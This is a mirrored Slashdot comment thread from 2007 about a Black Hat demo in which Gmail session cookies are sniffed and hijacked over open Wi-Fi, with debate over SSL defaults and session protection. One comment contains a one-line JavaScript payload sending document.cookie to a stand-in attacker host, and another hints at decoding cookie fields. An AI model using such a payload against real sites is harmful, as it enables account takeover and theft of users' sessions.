Slashdot Mirror
Point-and-Click Gmail Hacking Shown at Black Hat
not5150 writes "Using Gmail or most other webmail programs over an unsecured access point just got a bit more dangerous. At Black Hat Robert Graham, CEO of errata security, showed how to capture and clone session cookies very quickly over connections without encryption. He even hijacked a shocked attendee's Gmail account in the middle of his presentation. 'While Ou was typing, Graham was running Ferret and sniffing all the cookies that were being sent from Ou's laptop and Google. Graham then clicked on Ou's IP address and Gmail page, complete with Ou's recently sent message on the screen. We photographed both Graham's and Ou's laptop at that time and posted it to the picture gallery. You'll see that the contents are exactly the same.'"
Somebody intercepted plaintext on an open network . . . . did I miss something?
Your hair look like poop, Bob! - Wanker.
But really, copying cookies? Is this really that unprecedented?
everyone knows my mom's cookies taste better than gmail's. they can't be intercepted over an open wirless network either.
Bite my shiny metal ass.
This is shameful. It's 2007, Google. SSL has been a (reasonable) standard since 1996. USE IT.
The Firefox extension forces GMail to always run over SSL. It's great!
Apple has nothing at all to do with it.
"I think an etch-a-sketch with an ethernet port would beat IE7 in web standards compliance."
geez. cookie theft over a non-secured network!!! how did this even make it on slashdot?
I use Thunderbird for Windows XP to manage all my different email accounts. Would something like this be a danger, or does Thunderbird encrypt traffic?
Speedy thing goes in; speedy thing comes out.
Even if you don't have encrypted transfer, session cookies can be easily secured by associating them with a certain IP address. The attacker who captures the cookies has a differnt IP address so the cookie is rejected as invalid. The only situation where this solution may get a bit annoying is if you're behind a load-balancing proxy, which changes your IP address on every request (fortunately, this is somewhat rare.) It's better than allow easy hijacks...
Ok, so he was sniffing TCP/IP packets for HTTP cookies in unencrypted traffic passing over the same wireless network as him, maybe some nifty tools there but the idea is not new at all.
What the hell does Apple have to do with GMail?
I don't have the extension that forces it to use SSL, but all you have to do to force the connection manually is add the 's' after http, and the session will reload under SSL. Hopefully you haven't already been compromised at that point.
I'm going to look for the Firefox extension now...
And they said zombies weren't real!
Apple has nothing at all to do with it.
Wow, you guys are getting quick. One minute for a denialist to chime in. I'm impressed.
Gmail already supports ssl. Just use https instead of http in the url.
Oh well. At least with gmail you get the option to use POP/SMTP, which in their case is SSL secured.
Of course, you still have to use web access to enable it.
Duh...
The guy is intercepting traffic and stole a cookie. Big deal.
Additional info : If you need the id as well, try base64 decoding of all the fields in the cookie ( dont remember whether it was orkut or gmail that sends out id base64 encoded )
And why exactly is this front page news? The attack is lame, and the technique is script kiddie stuff, and has been around since ages.
Gmail will use SSL over any browser, it just doesn't by default (which is a shame, but easily fixed for those of us that care)
I'm sure everyone's going to bitch about how Google should use SSL for everything. And from a marketing perspective, maybe they should.
But the openness of your wireless network really isn't their problem. You don't blame the banks if you shout your PIN out while you're at the ATM, do you? Or, more aptly, you don't blame the bank if you trust your ATM card and PIN to some stranger in a coffee shop.
It isn't Google's responsibility to secure your connection end-to-end. It's far more reasonable to think that it's your responsibility to not broadcast sensitive information in plaintext!!
Reality has a conservative bias: it conserves mass, energy, momentum...
They offer it. All you have to do is go to https://mail.google.com/ rather than http://mail.google.com./
I fail to see how the average person, as usual, being lax about their security is in any way Google's fault. This was something I found immediately, just because I won't check my email without a secure connection.
ad logicam Claiming a proposition is false because it was presented as the conclusion of a fallacious argument.
Do they not use cookies? If they do, then unless I'm misunderstanding something, you won't be any more safe then if you are using GMail.
Bite my shiny metal ass.
You do realize that GMail and Apple aren't related at all, right? The FA didn't even mention Apple. ...but I'm guessing you didn't read it. This is Slashdot, after all.
"I think an etch-a-sketch with an ethernet port would beat IE7 in web standards compliance."
I think the upshot of this isn't really "look at us, we can sniff plaintext Wifi connections," but "look at one of the biggest players in web mail use plaintext connections even though they ought to know it's a hideously bad idea."
It's more of an indictment of Google than anything, because they default to unencrypted HTTP rather than HTTPS, and most users won't know that they can go to https://mail.google.com/mail/ to force smarter behavior.
"Ladies and gentlemen, my killbot features Lotus Notes and a machine gun. It is the finest available."
yea...your just as screwed from the sound of it.
I can't tell if this is the troll version of the long con, or if you've really got some sort of point about Apple, here.
If the former, I have to say, it's a well-played troll. If the latter, it would be nice if you got off your ass and made whatever devastating point you're so coyly alluding to.
Reality has a conservative bias: it conserves mass, energy, momentum...
Ha! Come on, give it up for the troll, that was funny.
ad logicam Claiming a proposition is false because it was presented as the conclusion of a fallacious argument.
Someone hasn't understood asymmetric encryptions schemes!
Luckily gmail keeps the entire session in https opposed to other sides that also are hackable the same way, where only the logon is secure. After that they switch to http and are susceptible (e.g. facebook) to this attack.
There is more on this on Ars Technica: http://arstechnica.com/news.ars/post/20070801-repo rt-sidejacking-session-information-over-wifi-easy- as-pie.html
A huge part of security is having sane defaults. If you support 'secure' and 'insecure' you should default to 'secure,' and let users who know what they are doing, and need 'insecure' behaviour opt into it. You shouldn't default to 'insecure' and make it the users' responsibility to select 'secure.'
I am TheRaven on Soylent News
I think he's making a reference to this event.
"Ladies and gentlemen, my killbot features Lotus Notes and a machine gun. It is the finest available."
Google does support SSL. Try logging into https://gmail.google.com/
/. post a week or so ago.
However, I do admit that it is rather odd that they don't advertise this. They should make a point of telling users not using https to do so, if possible. I only found out about this from a
What the fuck are 'milfy bewbs'? English motherfucker, do you speak it?
"I fail to see how the average person, as usual, being lax about their security is in any way Google's fault."
It's Google's fault for allowing unencrypted access to the email service (without any warning) and as the default.
"This was something I found immediately, just because I won't check my email without a secure connection."
You are hardly the average person then.
Although they don't have a public key scheme strong enough for the AES-256 (requires 15360-bit RSA or 256-bit ECC for public key), you should always be logging in using https://gmail.google.com/ from all locations (even home) to ensure the entire session is encrypted.
if you put a https instead of http for gmail.google.com it'll work. I dont understand why they don't do this by default if they already support it.
A quick check of some main email websites and none of them are secure after you log in. Shame on them also?
In summary, secure your wireless AP if you're a user and buy some SSL acceleration hardware so you can support forcing all traffic on your website to use SSL if you're a service provider.
I agree with the latter recommendation about using SSL, but saying 'secure your wireless AP' doesn't do a lot to help the many public wifi locations; I think it's unhealthy to ever assume that a wireless connection will be secure. As more wireless networks are rolled out, and more people get laptops with built-in wireless and traipse happily from home to their local coffeeshop, where they're sharing an IP and an unencrypted connection with many untrusted users, opportunities for sniffing and hijacking are only going to become more common.
As users demand more portability, security and authentication need to be moved (and kept) up at the application layer, and not simply assumed as part of the datalink or physical layers.
"Ladies and gentlemen, my killbot features Lotus Notes and a machine gun. It is the finest available."
We have redirects setup on all plain-text channels that have a login to SSL, and have for the past 6 years; this is beyond common-sense.
Website Hosting
You're right that the exploit itself really isn't that new. What's new is twofold:
1) It's being done to Gmail, a service provided by People Who Should Know Better.
2) There is now a tool that allows any script kiddie to do it, meaning that it's no longer a theoretical exploit; it's something that your next-door neighbor is going to be doing to you (or your slightly less-technically-savvy family/friends) if you don't take precautions.
#2 is probably most significant, since it's really what's going to cause #1 to change. Sometimes, producing a GUIed, Windows-based exploit tool is the fastest way to get a problem fixed, because it's the easiest way to turn an academic argument into a real-world security issue that will get resources thrown at it. (Of course, it may also land you in jail.)
"Ladies and gentlemen, my killbot features Lotus Notes and a machine gun. It is the finest available."
How is this any different than using kismet?
They shouldn't tell anyone, just transparently redirect to the secure URL. Sane defaults, and all that jazz. Or at least semi-transparently, with a "redirecting..." page that has a link to both encrypted and unencrypted login URLs, in case some network blocks https.
True confidence comes not from realising you are as good as your peers, but that your peers are as bad as you are.
Truly, an ingenious troll.
True confidence comes not from realising you are as good as your peers, but that your peers are as bad as you are.
I like your handle..... doing anything later??? ;)
Website Hosting
Could this have been avoided by using a so-called Poxie Server?
correct me if I'm wrong, but don't most who complain about microsoft OSes point to prior defaults to administrator privileges as a major security concern? If so, by that same reasoning, shouldn't web services default to more secure configurations as opposed to less?
un burrito me trampeó.
I'll go:
TFA shows photos of two laptops involved in the traffic cloning thing. While they are not Apple laptops, Apple does indeed make laptops. If they did not it would not be possible to clone cookies from an Apple laptop, thus you could not clone a person's Gmail session, neither using your Apple laptop nor they using theirs.
This is also true of desktops.
Can you clone the Gmail cookies of the Amish? No you cannot, they do not have Apple computers.
Also, almost certainly someone inside the Apple Corporation owns Google stock, or vice versa, further proving Apple's cuplability in the matter.
Even if there are others with the same problem doesn't give you excuse to ignore the problem.
-- Reality checks don't bounce.
well, at least Amiga is more secure against wireless IP packet sniffing and cookie stealing (yes, there is a wireless driver for Amiga).
oh wait, it isn't.
trolling today, are we?
Comment removed based on user account deletion
It seems strange that Google don't do this. Is doing so more expensive in terms of server time, or certificates, or something? Otherwise, why not do it?
That's my cookie you teratogenic monster!!!!
Strive to be happy...
Bookmark the secure address and use that (who wouldn't over open wireless??). You could also use http://www.customizegoogle.com/ with Firefox if you're using Gmail to force it to go to the secure URL.
Big whoop. The normal difficulty of the attack is that you have be "in the middle" between the client and server, something that can be difficult to do on a conventional network. You'd have to hack a box somewhere in the network between the points where packets flow, or try and hack the various networking protocols somehow so the packets are routed to you at.
Wireless just makes this WAY easier, since everyone in a wireless area could be considered to potentially be "in the middle" of everyone else, and able to listen to the 'conversations'.
It's obviously much more expensive in terms of load on the server. And Google presumably take the attitude that anyone who is willing to hand all their email over for Google to look at must not care about security anyway.
Very MUCH the case.
Better yet, it proves out my premise that services such as these shouldn't be used for anything mission/business critical- PERIOD.
I am not merely a "consumer" or a "taxpayer". I am a Citizen of the State of Texas
Accessing http://gmail.google.com/ will redirect you to a secure page for login, but after that you're back in plain text. If you start at https://gmail.google.com/ then afaik the rest of your gmail session runs over SSL.
ha ha. ur stupid. and old.
You forgot this is Google who has erred here, and they have been shown to be Good, so you get people defending their poor security practices simply because they like Google. Are you new here? ;)
I have never heard of anyone thanking God that they use Yahoo... in my entire life.
They default to insecure because if everyone was using their secure server, it would implode. People shouldn't need their hands held.
Someone on PRI radio the other day pointed out that if Google defaulted to SSL for gmail, they would experience a server load that would be an order of magnitude more than they currently deal with. So I don't think that SSL is the answer here. What we need to find is a way to do a non-SSL session without a risk of the session being stolen. Perhaps some kind of light-weight cryptographic exchange on every request or something. A cookie that constantly changes and cannot be reused. Some way of making sure that even if the attacker got the initial cookie, he couldn't hijack the session because he'd be missing some vital piece of information that was exchanged over SSL during login.
It's not Google's fault -- gmail is still in beta! :)
That's dumb. An application should never assume that the network it's connected to is secure. It doesn't matter whether you're plugged into switched Ethernet, a wireless LAN, or IP over carrier pigeon -- if you're designing an application that's going to transmit sensitive/assumed-private data (which email clearly is), it's a mistake to just blithely assume that the network is in any way secure.*
An application like Gmail should be treating all network connections as though they're unencrypted Wifi (or hubbed/shared-media Ethernet -- let's not call out 802.11 when there are so many other networking options that can also be trivially compromised); anything else is bad design.
* I'm aware that SMTP is designed like that (as are many other core Internet protocols), but that doesn't mean it's a good idea or even close to technically correct; it was designed in kinder, gentler, and clearly more naive time, and it's caused a whole lot of pain as a result. To do the same thing today is pretty ridiculous.
"Ladies and gentlemen, my killbot features Lotus Notes and a machine gun. It is the finest available."
All of the above. It needs significantly more cpu, bandwidth and isnt good for compatibility.
Is there a method to do this with Google's Personalized Homepage, as you can enable it to give you a preview of your email? I didn't see any options to change that.
lthough I guess I don't have much to worry about since we don't use wireless in our home.
With that said, pass me that bowl of spam. I've got a truckload that arrived today in my yahoo account (assuming it's still active), and I need to get rid of it.
The fact of the matter is, that the majority of the population has long ago decided that their personal email is just not something worthy of being secured. "There's nothing in there that is important" they say.
It's a foolish attitude, but that's how most users feel. How many people use PGP? Why should google take on the additional server load and associated cost of defaulting to a secure connection if 99 percent of their users don't give a damn whether or not their email is truly private?
I think it's enough that they provide the security for anyone that cares.
Corporate is. They already own the government.
Do networks still block HTTPS? What is this, the 90s?
# This is how I did it: ..... mostly. /var/www/ /var/www/> /insecure/
.....
#
# Actual snippet from my Apache configuration
# Some details have been changed to protect the innocent
# And some details have been changed to protect the guilty
#
# The virtual host "secure.mydomain.co.uk" cannot be accessed
# by http; only by https.
#
# The insecure port
<VirtualHost 10.11.12.13:80>
ServerName secure.mydomain.co.uk
DocumentRoot
<Directory
RedirectMatch ^/[^iI]
# In this directory is a page with a dire warning
# that https is required to access this server.
# NB. To avoid creating an infinite loop, we never
# redirect if request begins with I or i.
</Directory>
</VirtualHost>
# The secure port
<VirtualHost 10.11.12.13:443>
SSLEngine on
</VirtualHost>
Je fume. Tu fumes. Nous fûmes!
I fail to see how the average person, as usual, being lax about their security is in any way Google's fault.
Maybe because you can simply tie the session to the client IP adress and verify it during each request, which puts an end to the hijacking.
Can someone let me know who to blame, please? The double standards are confusing me.
It's called HTML URL redirection. It's been around since...uhhhh....I dunno. Well before 1996, I think.
It's 2007, Google. Use it!
My blog
That's the only reason I can think of why Google doesn't immediately send a 301 Permanently moved, and redirect to the https version.
True confidence comes not from realising you are as good as your peers, but that your peers are as bad as you are.
Please. Those guys are supposed to be security wizards! And now one of them is caught using plain HTTP to access gmail? I hope they laughed hard at him. Even securety noobs like me know when to use HTTP and HTTPS.
Um...the really smart people aren't using https. They're using http/https via VPN or SSH tunnel to a more trusted network.
Please help metamoderate.
So one can force an SSL connection via https://mail.google.com/ (or similarly with an appropriate Firefox plugin). However, when I try to force an SSL connection to my iGoogle home page by using "https", it simply redirects to an unsecured "http" request. I have widgets on this page displaying my GMail inbox and my google calendar events. I'm assuming this info is handled via insecure requests as well. Is this true? Any way to safeguard against this?
You've both implied that people should use the secure server on their own, and that doing so would cause Google's server to break. If Google's secure server doesn't have the capacity to handle a significant proportion of the user base, then that is in effect a wish for people not to use the service securely. Regardless of people not needing their hands held, Google apparently doesn't want to implement secure practices.
im in ur
When I go to my bank or credit card website I never bother to put the https as I'm typing the URL because they will always redirect me to a secure connection. It's a basic and common practice for services with important information. I would argue you shouldn't be putting important information on Google's web servers, but that still doesn't mean that they can't make a very simple change and dramatically increase the security of the data they hold.
Check out my lame java blog at www.javachopshop.com
I have bookmarks for both gmail and my google home page
https://www.google.com/ig
and
https://mail.google.com/mail/
The real story is that there are actually people dumb enough to use the open wireless at Black Hat.
I disagree. It's not their responsibility to make you be secure, especially in terms of using their free service. If you give a damn, you'll add the one letter to the url to secure your connection. If you don't you'll keep blissfully using the service unsecured, and that's your own look out.
Its the same as having an unsecured home wireless connection, or leaving your computer plugged directly into the cable modem with no firewall and file sharing turned on. The user must take responsibility for their own security.
ad logicam Claiming a proposition is false because it was presented as the conclusion of a fallacious argument.
Hmm, I tried that but I get a warning from Firefox saying that unencrypted data is being used on an encrypted page, could be possible its refering to something else, like the slashdot RSS feeds or something. Not entirely sure how this all works.
Worse still though, the g-mail widget on iGoogle doesn't even use https. No way of changing its behavior either.
"If it's lost, it'll turn up. Things always do" "I love it when a plan comes together"
Any decent-sized business would run into SOX problems if they used this sort of service consistently, and as a free service they have a very low duty toward their users. If gmail blew up tomorrow and Google decided to discontinue it, it'd be pretty difficult for any users to recover damages seeing as they weren't paying for anything.
Personally, I can't imagine using a non-guaranteed service for anything "mission-critical". If your mission relies on someone else's beta service, your business is in trouble.
ad logicam Claiming a proposition is false because it was presented as the conclusion of a fallacious argument.
I think it's unhealthy to ever assume that a wireless connection will be secure.
A few days ago my business partners and I were in some podunk town not far from Sacramento for a demonstration. The morning demonstration went well, but the potential customer was cool to buying, and so was kind of short. So there we were, all three of us, in some foreign town around lunch time. We found an ice cream shop that served sandwiches and had a wifi hotspot.
So we whipped out our laptops, took over a table, ordered some ice cream and sandwiches, and spent the afternoon at the ice cream shop. At one point, we all noticed that we were all sitting there, just as productive as if we were in the office. It was fun! And, since I've made it policy to ALWAYS enable SSL when it was possible and/or relevant, security was excellent.
We were sharing files on the company file server. (WebDAV over SSL, with a strong password on a non-standard port. Quite secure - never bothered with NFS or SMB)
We were sending/recieving emails like crazy. (IMAPs with SSL - again quite secure)
We were accessing our web-based company application. (https/SSL encrypted, of course!)
Our company network has NO shared resources that aren't also available from the Internet, and every single connection assumes encryption. Our backups are performed off-site and are encrypted. (rsync over SSH)
Welcome to the brave new world! (It was possible in 1997 or so, I think)
I have no problem with your religion until you decide it's reason to deprive others of the truth.
Nice thing that the summery explain what the "Ferret" program was and how to find it. Would be nice to actually show my friends the danger of http (not https) web mail.
I use the Gmail Notifier firefox extension which checks for messages and forces gmail to use secure connections.
We have the best government that money can buy.
It's not just google, stupid. This is a session hijack on web apps. Made friggin trivial. Basically, ssh to a trusted server and proxy all your requests over the tunnel--DNS included. If you use free wireless to freely browse and use webmail even with SSL you're certified idiot nowadays.
Don't shoot the messenger, listen up!
i am 100% completely unable to access the http:/// version of gmail.
every single thing I type into the addr bar returns me (or redirects me to) https:///
every single thing.
so wtf's the problem here?
Yeah, like most normal people with real lives would go around making sure their browser maintains a 'secure' connection - get over yourself.
1- Robert did not release this tool to the public.
2- Automatic HTTP session hijacking tools have existed for 7+ years.
(new Image()).src= "http://evil.com/?"+document.cookie
What do you mean, it isn't good for compatibility? SSL dates back to the early 90's and was present in the two major browsers (Netscape and IE) by 95 or so. Any platform not supporting SSL today does not have any excuses.
Cthulhu Saves.
This won't work when you're on the same network as the attacker. That's the situation that was demonstrated here. There are a number of ways to spoof an IP address on an 802.11 network and have bidirectional communication. Add in the fact that you could be behind a NAT and you don't even need to go through the trouble.
Cthulhu Saves.
Is hardly a viable strategy. Even with the best SSL accelerators, you're lucky to get 30-40% of the performance that plain HTTP gives you. They could certainly prevent man in the middle attacks, but unless you're on an open wifi network, the chances of being caught in a man in the middle are extremely slim. Use WEP or some other encryption mechanism to your router and you really shouldn't have any problems unless your ISP or some back bone router gets compromised. SSL is certainly critical at login time (which is why any website worth mentioning uses it), but SSL for all traffic is unnecessary. The thing that makes me laugh the most is that if all (authenticated) web traffic was done over HTTPS, the people complaining now would be the same ones complaining about how slow the website was.
This has nothing to do with any Google insecurity.
On a wired switched network, it's only possible to sniff from either a mirrored switch port or from a hub connection that has been put somewhere in the data path of the target being sniffed. Neither of these things are a particularly easy thing to do.
On a wireless network, sure, it's easy if the network is secure and encrypted - but anyone who uses an insecure unecrypted wireless network is a total fool if he or she is surprised that this kind of exploit works.
The fact is if any encryption key exchanges go on between encrypting endpoints, if you can sniff what the two are doing and catch the data flow at the right time as a "man-in-the-middle" attack, it's theoretically possible to intercept just about any type of connection - difficult but possible.
Move along, there really is nothing to see here.
Gentoo Linux - another day, another USE flag.
I have actually performed a packet capture on an HTTPS connection while I was staying at a hotel on an open wireless AP. Gmail still uses http connections to fetch ads, while sending your session information in a cookie. Bummer.
I think the reason this very old exploit was brought up is because more and more people are using wireless access points and not realizing how drastically less secure they are than a wired connection. Back when everyone used ethernet, a hacker had to physically get onto the same switch as you to perform this hack. Now they can just pull up in their car on the street outside of the Starbucks that you are at. And yes, google/yahoo/MSN/everyone should be switching to SSL for all this stuff.
Yes. In other words, lock your doors. It's as simple as that, and in the case of GMail it really is that simple. Add the goddamn 's'.
... if the Internet been around then odds are nobody would have breached his perimeter security, and if someone did crack it, he wouldn't have blamed anyone else but himself.
There are times I wonder about this generation. We don't really want to accept that we're responsible for much of anything. Suppose the Internet had been around fifty or sixty years ago. Ask your parents: would they expect to be mollycoddled by their ISPs and free services? I know my father wouldn't have
I take the same approach, and I try not to depend upon anything on the red side of my router to defend me if I can help it. Sometimes you have to take risks, sure, but for God's sakes people, at least do the basics. It's not that hard to keep yourself from being a soft target. Really, it's not.
The higher the technology, the sharper that two-edged sword.
With excellent and free clients out there (Like Thunderbird) why would anyone bother using the silly web interface? If you don't have access to your computer, you still have access to your phone and most of them have email programs running on them....
http://timcol6.freehostia.com/
Maybe because you can simply tie the session to the client IP adress and verify it during each request, which puts an end to the hijacking.
Not with NAT, which is typically when you are most vulnerable (i.e. a shared wireless network).
A quick google search found this:
t tps_proxy_tunnels.shtml
http://www.urlfilterdb.com/url_filter_faq/block_h
The url is httpS://mail.google.com. The performance hit isn't noticeable, but the security increase sure is...
If there's anyone I hate more than stupid people, it's intellectuals.
If they had enabled SSL be default, they'd be the only free web mail provider to have done so. That's the way it's done. If you don't like it, might try using a service you have to pay for.
ad logicam Claiming a proposition is false because it was presented as the conclusion of a fallacious argument.
I checked my Yahoo Mail before I ever saw your post. Guess what? Yahoo drops to normal http after login. I have yet to find a way to keep Yahoo using https. I will be spending more time this weekend on this, but it looks like Yahoo does the same thing as Google except with Google there is a workaround.
Yahoo.
https://mail.yahoo.com/
You get a certificate warning stating that the certificate is setup for login.yahoo.com. After logging in on that page, you get redirected to your mail account, but it is not encrypted. I have not found a way to login to Yahoo without using their login.yahoo.com page. I will keep looking.
So Yahoo does not stay SSL after logging into the system.
I think you'll need to provide some corroborating evidence, my friend. Care to point to a section in the spec where it says you can skip secure key exchange, or post some code, or a trace of a real live browser doing this? Otherwise I think you're blowing smoke. You can't do simple replay attacks on properly configured HTTPS sites, you'd have to have one of the private keys (which are not ever transmitted) in order to get the session key. Even though the client typically generates its' key pair, only the "public" half gets sent, so capturing it boots naught.
That's what SSL/TLS is about. Defeating sniffers.
This isn't about wireless networks. Regardless of how you connect, you are connecting through an open network called the internet. The internet being open is not necessarily a problem, but it does present issues in regards to accessing something like email, or banking. Fortunately, there are standard, wide-spread and tested solutions for those issues, such as SSL. Unfortunately, SSL requires the participation of both the end user and the server, and some servers, such as google, are not so cooperative. Google has SSL, but they don't do it right.
It isn't Google's responsibility to secure your connection end-to-end.As stated above, yes it is.
That is the only way, if the server doesn't support SSL.
Write your own Choose Your Own Adventure. http://www.freegameengines.org/gamebook-engine/
say you're running a web server which talks plaintext, and say you're using plaintext authentication (at least for the client-initiated login request) and, subsequently, plaintext session cookies. what sort of things can you do to prevent session hijacking on the client side?
aside from obvious stuff, like making the session expire after so much time/activity, or making the cookie itself expire when the client closes the connection (if you can read the week-old cookie file saved in a temp file someplace, you dont need to hack the wireless access point), what precautions can be taken on the server-side?
it's mentioned above that you can keep track of the clients ip address, so that a hijacked cookie must be sent from a machine on the same ip; very soon thereafter it was brought up that if that ip is actually a masqueraded wan ip (as would be the case where most of these hacks would take place), this would do very little to prevent the hijack. somebody chimed in that we can keep track of the http-client-id, but that can just as easily be replicated by the attacker.
hmm. i suppose a dedicated hijacker could (and would) copy anything in our http handshake, and we're vulnerable to his attack as long as we talk plaintext. we can't very well blame our clients just 'cause they're behind an insecure or dinky wep-open wlan; indeed they usually have no control over starbucks' networks or don't know any better anyway.
so here's my question - if our server is plaintext, and for whatever reason we can't modify the server to enable ssl, what are we to do? please, refrain from solutions involving cheap javascript snippets.
This could be implemented reasonably easily, with a few limitations.
During login, the server supplies the client a secret, and a rotating block of garbage. On each request, the client hashes the secret and the garbage together and supplies the hash to the server.
The server can supply a new block of garbage at any time, replay attacks will only be effective until a new block of garbage is supplied.
If you want a fairly secure connection, you rotate the garbage on each significant request (every request that pulls user data -- You don't need to rotate for JPGs, static JS, etc). The downside is that you can't use multiple windows get far more complex (although still possible, each time there is a mismatch, switch back to SSL and have the client supply the original secret, and start a new series -- Multiple windows are possible, but much more difficult to implement)
The advantage is that calculating hashes is fairly trivial, so you won't need the overhead of SSL. The downside is that the data transferred in each session is insecure, so a snoop could still read every email you read, write, every contact you touch, etc. However, the snoop couldn't intercept your session and request NEW data.
Give a man a fish, he'll eat for a day, but teach a man to phish...
The point is, security is more than just "what's available." It also has to be about how good the defaults are. The technical community cried foul when Microsoft included a firewall in Windows XP but didn't have it turned on by default, and we complained so much that in SP2 Microsoft finally changed the default.
I agree that security is ultimately the responsibility of the user, but they should not have to seek out secure settings and turn them all on one by one. The default mode for any network-enabled program should be Secure. If the user needs Insecure, then they should have to change a setting to make it so. Spam should be opt-in, security should be opt-out. Anything else is unfair to the user.
For security, the MD5 hash of this message and sig is 09f911029d74e35bd84156c5635688c0.
Everyone is so focused on Google, but it's the only one I know of where you *can* redirect everything to SSL (and I've been doing this for ages now, ever since someone mentioned it on Slashdot back when Gmail was new).
What about Yahoo, Hotmail, etc.?
Many others have pointed out that an IP address isn't exactly reliable even under normal circumstances. AOL people are, in fact, behind a load-balancing proxy. Some people carry their laptop between home and work, and like not having to login. What's more, NAT is still too common -- if you're on a wireless AP, unless it's one of the few, rare ones that get it right, you'll have the same IP address as half a dozen other people.
(Iowa State University assigns every laptop a real, Internet-facing IP, which is the same no matter where you go on their wireless network. If you know what you're doing, you can assign multiple mac addresses to the same machine, meaning you can go wireless, or plug in to the ethernet in the dorms, and still have the same IP. But they are the exception, not the rule.)
But even assuming none of that applied -- assume, say, that you live at Iowa State University, and never carry that laptop anywhere else, so your IP is always the same, and no one else ever shares it.
It's still entirely too easy to spoof mac addresses, let alone IP addresses.
Don't thank God, thank a doctor!
No, what would make the difference with IPv6 might be the crypto, as it's far enough below the application layer that you could have dedicated hardware for it, probably making it easier for Google (and others) to default to secure connections for everything.
But does IPv6 have much protection against IP spoofing, on a plaintext connection?
Don't thank God, thank a doctor!
because you are? -no, I'll pass
Do you care about the security of your wireless mouse?
Assuming what you would do is sniffing as opposed to a man in the middle attack. A lot of work has gone into encryption but people seem to forget about the other peices of the puzzle. Where are those DNS packets coming from? Do you accept ICMP redirects? Is your gateway really a router?
http://monkey.org/~dugsong/dsniff/faq.html
see section on "how do I hijack/sniff https connections?".
Once you log in, it reverts back to http:/// if you started with http://./ But the login form is always https://./
I disagree. It's not their responsibility to make you be secure, especially in terms of using their free service. If you give a damn, you'll add the one letter to the url to secure your connection. If you don't you'll keep blissfully using the service unsecured, and that's your own look out.
This attitude makes me want to scream. Two reasons:
* The average user doesn't know what SSL is, and doesn't know that he doesn't know. When will the utterly pathetic Slashdot segment that assumes the world revolves around their pet obsession realize that most people don't have an interest in this? You'd be mightily pissed if you bought crashed your car, and the airbag didn't work, because "duh, you have to turn on the flux capacitor if you want it enabled -- anyone with any interest in modern car construction knows that! If you gave a damn you should have done that yourself." In this particular case, there's not even a link to establishing a permanently secure session on Gmail's homepage. And if you login through https://gmail.com/ it doesn't keep the session encrypted, you have to use https://mail.google.com./ It's not even obvious to a techie that there is such an option. It wasn't to me, and I work in the security field. How on earth can you put this responsibility on the users?
* That the service is free doesn't absolve them of basic responsibilities. Obviously, you have no understanding of the laws that apply to these matters, another piece of evidence for your professional myopia.
People like you is the reason we have such immense problem with security in the first place. I say that in all seriousness. It was people like you who thought not checking for overflows in strcp was a good idea, because "anyone who cares will figure it out anyway." But it's really the thinly-veiled contempt for the large segment of your fellow humans who don't share your particular interest in internet protocols, the "let them burn" attitude, that I find disgusting. Please tell me you don't work developing applications for use by the average Joe, or we're all fucked.
This lesson here isn't "the webmail client was hacked, don't use gmail".
It was "unencrypted network connections are insecure, use SSL or SSH".
Using POP3 with Thunderbird would have simply made it easier for them, unless you used SSL.
Which you could do with gmail as well.
I'll bite -- RSA key exchange is pretty common isn't it?
Check the IANA registry of TLS ciphersuites(http://www.iana.org/assignments/tls-p arameters). Those without "EDH" in their names aren't performing ephemeral diffie-hellman key negotiation.
"Care to point to a section in the spec where it says you can skip secure key exchange, or post some code, or a trace of a real live browser doing this?"The SSL and TLS specs allow multiple ways of deriving the master_secret, which is used to derive the symmetric keys. Quoting from RFC 4346 (http://www.ietf.org/rfc/rfc4346.txt), section 8:
8.1.1. RSA When RSA is used for server authentication and key exchange, a 48- byte pre_master_secret is generated by the client, encrypted under the server's public key, and sent to the server. The server uses its private key to decrypt the pre_master_secret. Both parties then convert the pre_master_secret into the master_secret, as specified above. RSA digital signatures are performed using PKCS #1 [PKCS1] block type 1. RSA public key encryption is performed using PKCS #1 block type 2. 8.1.2. Diffie-Hellman A conventional Diffie-Hellman computation is performed. The negotiated key (Z) is used as the pre_master_secret, and is converted into the master_secret, as specified above. Leading bytes of Z that contain all zero bits are stripped before it is used as the pre_master_secret.
If RSA keying is used, then there is no perfect forward secrecy. In English, that means that if an attacker can capture the TLS handshake and if the attacker can compromise the server's private key, then the attacker can decode any data from that session. If ephemeral Diffie-Hellman keying is used, this attack is not feasible, since the server's RSA keypair wasn't used to secure the key exchange (it would only have been used to authenticate the server's identity).
Also note that the client doesn't generate an asymmetric key pair (as you claimed), and that the key negotiation algorithm is independent of protection against replay attacks.
A very scary thing about Google is that if your cookie is stolen once it can be misused for weeks. Even if you log out to terminate your session the server would still keep your session alive. A hacker can still use the stolen cookies to misuse your account. So it is very much safe to use other sites like Yahoo, etc. who terminate the session in the server.
e /2007-July/064649.html
There is a very interesting article on this at: http://lists.grok.org.uk/pipermail/full-disclosur
Have you ever tried to connect to a xp machine with an admin account with a blank password? Guess what, it doesnt work unless you do a registry hack. No password is better than a weak password when it comes to network security.
You'll note that Dug Song's mitm depends on a human lack of security consciousness - the user has to specifically misconfigure or (at least) click through a warning in order to get past the lack of key validation (from a known CA in HTTPS, from the hostkeys file in SSH). Humans being the way they are, your point is still valid! My nets are nailed down pretty tight, but even here it's possible to mitm users if they've created a private SSH configuration file (using -F) and they are willing to blow off a big scary warning message.
As to the other issues you raised, I don't think a competently administered network permits DNS poisoning, ICMP/GRE middlemanning, or IP spoofing... but unfortunately, that does not protect the huge number of people on horribly incompetently administered networks (like comcast, cox, roadrunner, etc.).
Another poster has clarified the RSA key exchange mechanism and corrected my (partial) misstatement, but it's still not possible to sniff into TLS without knowing a private key that never gets transfered on the wire; given the current state of the art SSL/TLS is not breakable by sniffers, and only breakable by mitm due to human intellectual laziness.
Thank you for the excellent linkage - you're absolutely right (I did the unthinkable and actually checked). The client doesn't necessarily generate a key pair in IE or firefox, which is no doubt a blessing for slow machines. My apologies for spreading misinformation!
But the original poster claimed "if the traffic is sniffed as the browser is sending the SSL requests, one could sniff the SSL key and just use that to get in". Since none of the TLS encryptions send any "raw" private keys (the RSA example encrypts with the server public key) that statement is nonsensical. Even if you manually enable the NULL encryptions (which are not enabled by default, you have to point that gun at your head on purpose) the comment still doesn't make sense.
I understand there's no perfect forward secrecy without DHE (because the TSA can still steal your backup tapes and extract your private keys), and mitm may be feasible (if you control DNS or the target doesn't use a CA), but I still believe you are sniffer-proof with normal TLS/SSL.
